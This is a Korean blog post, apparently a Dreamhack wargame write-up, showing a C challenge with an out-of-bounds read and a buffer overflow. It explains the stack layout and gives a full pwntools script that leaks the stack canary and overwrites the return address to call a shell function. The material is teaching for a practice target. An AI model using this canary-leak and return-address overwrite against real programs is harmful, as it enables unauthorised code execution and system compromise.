1. 문제
C 코드와 실행파일이 주어진다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
2. 코드 분석
실행파일을 디컴파일하여 분석해보면, 아래와 같은 스택이 존재하는 것을 알 수 있다.
+ㅡ+------------+--[ebp - 0x98]
| | argv |
| +------------+--[ebp - 0x94]
| | idx |
| +------------+--[ebp - 0x90]
| | name_len |
| +------------+--[ebp - 0x8C]
| | |
0x94 | +------------+--[ebp - 0x8A]
| | select |
| +------------+--[ebp - 0x88]
| | box |
| +------------+--[ebp - 0x48]
| | name |
| +------------+--[ebp - 0x08]
| | canary |
+ㅡ+------------+
| edi |
+------------+<- EBP
| SFP |
+------------+
| RET |
+------------+
| argc |
+------------+
| argv |
+------------+
3. 풀이
① case 'P'를 통해서, 카나리의 주소 값을 알아낸다.
- case 'P'는 box의 index를 입력받아, 해당 주소에 존재하는 값을 출력해주는 부분이다.
- 하지만 box배열 범위를 벗어나는 것에 대한 필터링이 없기 때문에 카나리 주소 값을 알아낼 수 있는 취약점이 존재한다.
- 카나리 시작 위치를 확인하기 위해 계산하면 0x88 - 0x08 = 0x80 (128byte)으로, box[128]부터 시작된다.
② 코드에 존재하는 get_shell( )의 주소값을 알아낸다.
- gdb를 이용하여, 0x080486b9가 get_shell( )의 시작 주소 값인 것을 알 수 있다.
③ 카나리릭 기법으로 우회하고 get_shell( ) 주소 값을 return 주소 값에 삽입하여, shell을 획득할 수 있다.
4. Exploit Code
from pwn import *
import binascii
p = remote("host3.dreamhack.games", 18276)
canary_v = ""
give_sh = 0x080486b9
for i in range(128,132):
p.recvuntil(b'> ')
p.sendline(b'P')
p.recvuntil(b'Element index : ')
p.sendline(str(i))
p.recvuntil(b'is : ')
canary = p.recvn(2)
print("canary[{}] : {}".format(i,canary))
canary_v += canary.decode('utf-8')
print("[+] Canary : {}\n\n".format(canary_v))
canary_v = binascii.unhexlify(canary_v)
p.recvuntil(b'> ')
p.sendline(b'E')
p.recvuntil(b'Name Size : ')
p.sendline(b'80')
print(p.recvuntil(b'Name : '))
payload = (b"A" * 0x40) + canary_v + (b'B' * 0x8) + p32(give_sh)
print(payload)
p.sendline(payload)
p.interactive()
'Dreamhack > Wargame' 카테고리의 다른 글
[Wargame] fho (0) | 2022.07.19 |
---|---|
[Wargame] basic_rop_x86 (0) | 2022.07.10 |
[Wargame] basic_rop_x64 (0) | 2022.07.08 |
[Wargame] rop (0) | 2022.07.03 |
[Wargame] Return to Library (0) | 2022.07.02 |